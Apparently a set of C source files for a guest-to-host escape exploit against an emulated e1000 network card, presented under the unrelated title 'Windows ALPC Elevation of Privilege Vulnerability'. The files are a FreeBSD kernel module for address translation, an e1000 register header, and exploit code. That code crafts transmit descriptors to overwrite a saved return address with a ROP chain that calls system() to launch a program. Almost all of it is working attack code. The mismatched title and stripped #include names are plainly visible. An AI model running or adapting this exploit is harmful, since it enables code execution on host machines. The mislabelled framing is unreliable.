Windows ALPC Elevation of Privilege Vulnerability.
Module
- MakeFile
KMOD = pt SRCS = pt.c .include
- pt.c
#include#include #include #include #include #include #include #include #include #include #include struct pt_args { vm_offset_t vaddr; uint64_t *res; }; static int pt(struct thread *td, void *args) { struct pmap *pmap; struct pt_args *user = args; vm_offset_t vaddr = user->vaddr; uint64_t *res = user->res; uint64_t paddr; pmap = &td->td_proc->p_vmspace->vm_pmap; paddr = pmap_extract(pmap, vaddr); return copyout(&paddr, res, sizeof(uint64_t)); } static struct sysent pt_sysent = { .sy_narg = 2, .sy_call = pt }; static int offset=NO_SYSCALL; static int load(struct module *module, int cmd, void *arg) { int error=0; switch(cmd) { case MOD_LOAD: uprintf("loading syscall at offset %d\n", offset); break; case MOD_UNLOAD: uprintf("unloading syscall from offset %d\n", offset); break; default: error=EOPNOTSUPP; break; } return error; } SYSCALL_MODULE(pt, &offset, &pt_sysent, load, NULL);
e1000.h
#define e1000_PORT 0x2100 enum e1000_registers { CTRL = 0x00000, /* Device Control - RW */ /* Transmit */ TXCW = 0x0178, /* x0178 transmit config */ TCTL = 0x0400, /* x0400 transmit ctl */ TIPG = 0x0410, /* x0410 inter-packet gap */ AIT = 0x0458, /* x0458 Adaptive Interframe Throttle */ TDBAL = 0x3800, /* x3800 desc table addr, low bits */ TDBAH = 0x3804, /* x3804 desc table addr, hi 32-bits */ TDLEN = 0x3808, /* x3808 # descriptors in bytes */ TDH = 0x3810, /* x3810 desc table head idx */ TDT = 0x3818, /* x3818 desc table tail idx */ TIDV = 0x3820, /* x3820 intr delay */ TXDCTL = 0x3828, /* x3828 desc control */ TADV = 0x382c, /* x382C intr absolute delay */ /* Receive */ RCTL = 0x0100, /* x0100 receive ctl */ FCRTL = 0x2160, /* x2160 flow cntl thresh, low */ FCRTH = 0x2168, /* x2168 flow cntl thresh, hi */ RDBAL = 0x2800, /* x2800 desc table addr, low bits */ RDBAH = 0x2804, /* x2804 desc table addr, hi 32-bits*/ RDLEN = 0x2808, /* x2808 #descriptors */ RDH = 0x2810, /* x2810 desc table head idx */ RDT = 0x2818, /* x2818 desc table tail idx */ RDTR = 0x2820, /* x2820 intr delay */ RXDCTL = 0x2828, /* x2828 desc control */ RADV = 0x282c, /* x282C intr absolute delay */ RSRPD = 0x2c00, /* x2C00 recv small packet detect */ RXCSUM = 0x5000, /* x5000 receive cksum ctl */ }; /* Transmit Descriptor bit definitions */ #define E1000_TXD_DTYP_D 0x00100000 /* Data Descriptor */ #define E1000_TXD_DTYP_C 0x00000000 /* Context Descriptor */ #define E1000_TXD_POPTS_IXSM 0x01 /* Insert IP checksum */ #define E1000_TXD_POPTS_TXSM 0x02 /* Insert TCP/UDP checksum */ #define E1000_TXD_CMD_EOP 0x01000000 /* End of Packet */ #define E1000_TXD_CMD_IFCS 0x02000000 /* Insert FCS (Ethernet CRC) */ #define E1000_TXD_CMD_IC 0x04000000 /* Insert Checksum */ #define E1000_TXD_CMD_RS 0x08000000 /* Report Status */ #define E1000_TXD_CMD_RPS 0x10000000 /* Report Packet Sent */ #define E1000_TXD_CMD_DEXT 0x20000000 /* Desc extension (0 = legacy) */ #define E1000_TXD_CMD_VLE 0x40000000 /* Add VLAN tag */ #define E1000_TXD_CMD_IDE 0x80000000 /* Enable Tidv register */ #define E1000_TXD_STAT_DD 0x00000001 /* Descriptor Done */ #define E1000_TXD_STAT_EC 0x00000002 /* Excess Collisions */ #define E1000_TXD_STAT_LC 0x00000004 /* Late Collisions */ #define E1000_TXD_STAT_TU 0x00000008 /* Transmit underrun */ #define E1000_TXD_CMD_TCP 0x01000000 /* TCP packet */ #define E1000_TXD_CMD_IP 0x02000000 /* IP packet */ #define E1000_TXD_CMD_TSE 0x04000000 /* TCP Seg enable */ #define E1000_TXD_STAT_TC 0x00000004 /* Tx Underrun */ #define E1000_TXD_EXTCMD_TSTAMP 0x00000010 /* IEEE1588 Timestamp packet */ /* Transmit Control */ #define E1000_TCTL_EN 0x00000002 /* enable Tx */ #define E1000_TCTL_PSP 0x00000008 /* pad short packets */ #define E1000_TCTL_CT 0x00000ff0 /* collision threshold */ #define E1000_TCTL_COLD 0x003ff000 /* collision distance */ #define E1000_TCTL_RTLC 0x01000000 /* Re-transmit on late collision */ #define E1000_TCTL_MULR 0x10000000 /* Multiple request support */ /* Transmit descriptor types */ #define E1000_TXD_MASK (E1000_TXD_CMD_DEXT | 0x00F00000) #define E1000_TXD_TYP_L (0) #define E1000_TXD_TYP_C (E1000_TXD_CMD_DEXT | E1000_TXD_DTYP_C) #define E1000_TXD_TYP_D (E1000_TXD_CMD_DEXT | E1000_TXD_DTYP_D) /* Receive Control */ #define E1000_RCTL_RST 0x00000001 /* Software reset */ #define E1000_RCTL_EN 0x00000002 /* enable */ #define E1000_RCTL_SBP 0x00000004 /* store bad packet */ #define E1000_RCTL_UPE 0x00000008 /* unicast promisc enable */ #define E1000_RCTL_MPE 0x00000010 /* multicast promisc enable */ #define E1000_RCTL_LPE 0x00000020 /* long packet enable */ #define E1000_RCTL_LBM_NO 0x00000000 /* no loopback mode */ #define E1000_RCTL_LBM_MAC 0x00000040 /* MAC loopback mode */ #define E1000_RCTL_LBM_TCVR 0x000000C0 /* tcvr loopback mode */ #define E1000_RCTL_DTYP_PS 0x00000400 /* Packet Split descriptor */ #define E1000_RCTL_RDMTS_HALF 0x00000000 /* Rx desc min thresh size */ #define E1000_RCTL_RDMTS_HEX 0x00010000 #define E1000_RCTL_RDMTS1_HEX E1000_RCTL_RDMTS_HEX #define E1000_RCTL_MO_SHIFT 12 /* multicast offset shift */ #define E1000_RCTL_MO_3 0x00003000 /* multicast offset 15:4 */ #define E1000_RCTL_BAM 0x00008000 /* broadcast enable */ /* these buffer sizes are valid if E1000_RCTL_BSEX is 0 */ #define E1000_RCTL_SZ_2048 0x00000000 /* Rx buffer size 2048 */ #define E1000_RCTL_SZ_1024 0x00010000 /* Rx buffer size 1024 */ #define E1000_RCTL_SZ_512 0x00020000 /* Rx buffer size 512 */ #define E1000_RCTL_SZ_256 0x00030000 /* Rx buffer size 256 */ /* these buffer sizes are valid if E1000_RCTL_BSEX is 1 */ #define E1000_RCTL_SZ_16384 0x00010000 /* Rx buffer size 16384 */ #define E1000_RCTL_SZ_8192 0x00020000 /* Rx buffer size 8192 */ #define E1000_RCTL_SZ_4096 0x00030000 /* Rx buffer size 4096 */ #define E1000_RCTL_VFE 0x00040000 /* vlan filter enable */ #define E1000_RCTL_CFIEN 0x00080000 /* canonical form enable */ #define E1000_RCTL_CFI 0x00100000 /* canonical form indicator */ #define E1000_RCTL_DPF 0x00400000 /* discard pause frames */ #define E1000_RCTL_PMCF 0x00800000 /* pass MAC control frames */ #define E1000_RCTL_BSEX 0x02000000 /* Buffer size extension */ #define E1000_RCTL_SECRC 0x04000000 /* Strip Ethernet CRC */
exploit.c
#include#include #include #include #include #include #include #include #include #include #include #include "e1000.h" #define PAGE_SIZE 0x1000 #define BUFF_SIZE PAGE_SIZE #define SAVED_RIP_OFF 0x3f68 #define POP_RBP 0x222164 #define POP_RDI 0x21e688 #define LEAVE 0x22dd28 #define SYSTEM 0x21f83c #define CALC 0x7fffdebf35a8 #define ROPCHAIN 0x7fffdebf3578 #define GET_WORD(val, n) (((val) >> ((n) * 16)) & 0xffff) #define MAKE_WORD(val, n) htons((htons(GET_WORD(val, n)) - 1)) #define TX_NB 64; extern uint64_t gva_to_gpa(void *); void xxd(void *ptr, size_t size) { size_t i; for (i = 0; i < size; i++) { if (i % 16 == 0) printf("\n0x%"PRIx64": ", (uint64_t)(ptr+i)); printf("%02x", *(uint8_t *)(ptr+i)); if (i % 16 != 0 && i % 2 == 1) printf(" "); } printf("\n"); } /* Legacy transmit descriptor */ struct e1000_tx_desc { uint64_t buffer_addr; /* Address of the descriptor's data buffer */ union { uint32_t data; struct { uint16_t length; /* Data buffer length */ uint8_t cso; /* Checksum offset */ uint8_t cmd; /* Descriptor control */ } flags; } lower; union { uint32_t data; struct { uint8_t status; /* Descriptor status */ uint8_t css; /* Checksum start */ uint16_t special; } fields; } upper; }; /* Context descriptor */ struct e1000_context_desc { union { uint32_t ip_config; struct { uint8_t ipcss; /* IP checksum start */ uint8_t ipcso; /* IP checksum offset */ uint16_t ipcse; /* IP checksum end */ } ip_fields; } lower_setup; union { uint32_t tcp_config; struct { uint8_t tucss; /* TCP checksum start */ uint8_t tucso; /* TCP checksum offset */ uint16_t tucse; /* TCP checksum end */ } tcp_fields; } upper_setup; uint32_t cmd_and_length; union { uint32_t data; struct { uint8_t status; /* Descriptor status */ uint8_t hdr_len; /* Header length */ uint16_t mss; /* Maximum segment size */ } fields; } tcp_seg_setup; }; /* Data descriptor */ struct e1000_data_desc { uint64_t buffer_addr; /* Address of the descriptor's buffer address */ union { uint32_t data; struct { uint16_t length; /* Data buffer length */ uint8_t typ_len_ext; uint8_t cmd; } flags; } lower; union { uint32_t data; struct { uint8_t status; /* Descriptor status */ uint8_t popts; /* Packet Options */ uint16_t special; } fields; } upper; }; union e1000_tx_udesc { struct e1000_tx_desc td; struct e1000_context_desc cd; struct e1000_data_desc dd; }; void e1000_write_reg(int reg, uint32_t val) { outl(e1000_PORT + CTRL, reg); outl(e1000_PORT + 4, val); } void e1000_tx_enable() { e1000_write_reg(TCTL, E1000_TCTL_EN); } void e1000_tx_disable() { e1000_write_reg(TCTL, 0); } void e1000_tx_start(uint8_t tail) { e1000_write_reg(TDT, tail); } void e1000_tx_transmit(union e1000_tx_udesc *tx_ring, uint8_t *head, struct e1000_context_desc *cd, uint16_t pktlen) { // set packet context memcpy(&tx_ring[*head].cd, cd, sizeof(struct e1000_context_desc)); // set packet data tx_ring[*head + 1].dd.lower.data = pktlen; tx_ring[*head + 1].dd.lower.data |= E1000_TXD_CMD_EOP; tx_ring[*head + 1].dd.lower.data |= E1000_TXD_CMD_TSE; tx_ring[*head + 1].dd.lower.data |= E1000_TXD_TYP_D; tx_ring[*head + 1].dd.upper.fields.popts = E1000_TXD_POPTS_TXSM; *head += 2 % TX_NB; } // UDP packet static char packet[] = { 0x58, 0x9c, 0xfc, 0x0e, 0xb7, 0x3d, 0x58, 0x9c, 0xfc, 0x0f, 0xb4, 0x44, 0x08, 0x00, 0x45, 0x00, 0x00, 0x21, 0x43, 0xad, 0x40, 0x00, 0x40, 0x11, 0xf9, 0x1c, 0x01, 0x02, 0x03, 0x04, 0xc0, 0xa8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; int main() { union e1000_tx_udesc *tx_ring; struct e1000_context_desc tx_cd; uint8_t tx_nb = TX_NB; uint16_t tx_size; char *tx_buffer[tx_nb], *buffer; uint8_t head = 0; uint64_t addr; uint16_t pktlen, hdrlen, paylen, mss, write_off; uint8_t ipcss, tucss, hdroff; // get permissions for in/out open("/dev/io", O_RDONLY, 0); // configure TX descriptors warnx("configuring TX descriptors"); tx_size = tx_nb * sizeof(union e1000_tx_udesc); tx_ring = aligned_alloc(PAGE_SIZE, tx_size); memset(tx_ring, 0, tx_size); for(int i = 0; i < tx_nb; i++) { buffer = aligned_alloc(PAGE_SIZE, BUFF_SIZE); memcpy(buffer, packet, sizeof(packet)); tx_buffer[i] = buffer; addr = gva_to_gpa(buffer); warnx("TX ring buffer at 0x%"PRIx64"\n", addr); tx_ring[i].dd.buffer_addr = addr; }; warnx("disable TX"); e1000_tx_disable(); addr = gva_to_gpa(tx_ring); //warnx("TX ring buffer at 0x%"PRIx64"\n", addr); warnx("update TX desc table"); e1000_write_reg(TDBAL, (uint32_t)addr); e1000_write_reg(TDBAH, addr >> 32); e1000_write_reg(TDLEN, tx_size); e1000_write_reg(TDH, 0); warnx("enable TX"); e1000_tx_enable(); /* fill stack with ropchain */ hdrlen = 220; tx_cd.lower_setup.ip_fields.ipcss = 0; tx_cd.lower_setup.ip_fields.ipcso = 0; tx_cd.lower_setup.ip_fields.ipcse = 0; tx_cd.upper_setup.tcp_fields.tucss = 0; tx_cd.upper_setup.tcp_fields.tucso = 0; tx_cd.upper_setup.tcp_fields.tucse = 0; tx_cd.cmd_and_length = hdrlen; tx_cd.cmd_and_length |= E1000_TXD_TYP_C; tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; tx_cd.tcp_seg_setup.fields.status = 0; tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; tx_cd.tcp_seg_setup.fields.mss = PAGE_SIZE; memset(tx_buffer[head + 1], 'A', PAGE_SIZE); uint64_t *ptr = (uint64_t *)tx_buffer[head + 1]; *(ptr + 3) = POP_RDI; *(ptr + 4) = CALC; *(ptr + 6) = SYSTEM; strcpy(tx_buffer[head + 1] + 56, "/usr/local/bin/xcalc"); e1000_tx_transmit(tx_ring, &head, &tx_cd, PAGE_SIZE); /* corrupting saved rip + 10 */ hdrlen = 32; hdroff = 0x90; ipcss = 12; tucss = 18; mss = htons(ROPCHAIN & 0xffff) - hdrlen + ipcss; paylen = 2 * mss; pktlen = paylen + hdrlen; tx_cd.lower_setup.ip_fields.ipcss = ipcss; tx_cd.lower_setup.ip_fields.ipcso = 0; tx_cd.lower_setup.ip_fields.ipcse = 0; tx_cd.upper_setup.tcp_fields.tucss = tucss; tx_cd.upper_setup.tcp_fields.tucso = hdroff; tx_cd.upper_setup.tcp_fields.tucse = tucss+1; tx_cd.cmd_and_length = paylen; tx_cd.cmd_and_length |= E1000_TXD_TYP_C; tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; tx_cd.tcp_seg_setup.fields.status = 0; tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; tx_cd.tcp_seg_setup.fields.mss = mss; // WHAT_LOW write_off = (SAVED_RIP_OFF + 10) - ipcss - 2; *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; // WHERE *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(ROPCHAIN, 2); e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); /* corrupt saved rip + 8 */ write_off = (SAVED_RIP_OFF + 8) - ipcss - 2; *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(ROPCHAIN, 1); e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); /* corrupt saved rip + 16 */ mss = htons(LEAVE & 0xffff) - hdrlen + ipcss; paylen = 2 * mss; pktlen = paylen + hdrlen; tx_cd.cmd_and_length = paylen; tx_cd.cmd_and_length |= E1000_TXD_TYP_C; tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; tx_cd.tcp_seg_setup.fields.status = 0; tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; tx_cd.tcp_seg_setup.fields.mss = mss; write_off = (SAVED_RIP_OFF + 0x10) - ipcss - 2; *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(LEAVE, 1); e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); /* corrupt saved rip */ tucss = 0; mss = htons(POP_RBP & 0xffff) - hdrlen + ipcss; // WHAT_LOW paylen = 2 * mss; pktlen = paylen + hdrlen; tx_cd.upper_setup.tcp_fields.tucss = tucss; tx_cd.upper_setup.tcp_fields.tucse = tucss+1; tx_cd.cmd_and_length = paylen; tx_cd.cmd_and_length |= E1000_TXD_TYP_C; tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; tx_cd.tcp_seg_setup.fields.status = 0; tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; tx_cd.tcp_seg_setup.fields.mss = mss; write_off = SAVED_RIP_OFF - ipcss - 2; *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; // WHERE *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(POP_RBP, 1); // WHAT_HIGH e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); e1000_tx_start(head); //xxd(tx_buffer, sizeof(packet)); return 0; }
mmu.c
#include#include #include #include #include #include #include #include uint64_t gva_to_gpa(uint64_t vaddr) { uint64_t paddr = 0; int nsys; int ret; int modid; struct module_stat stat; stat.version = sizeof(stat); modid = modfind("sys/pt"); if (modid < 0) errx(EXIT_FAILURE, "modinfo"); ret = modstat(modid, &stat); if (ret < 0) errx(EXIT_FAILURE, "modstat"); nsys = stat.data.intval; ret = syscall(nsys, vaddr, &paddr); return paddr; }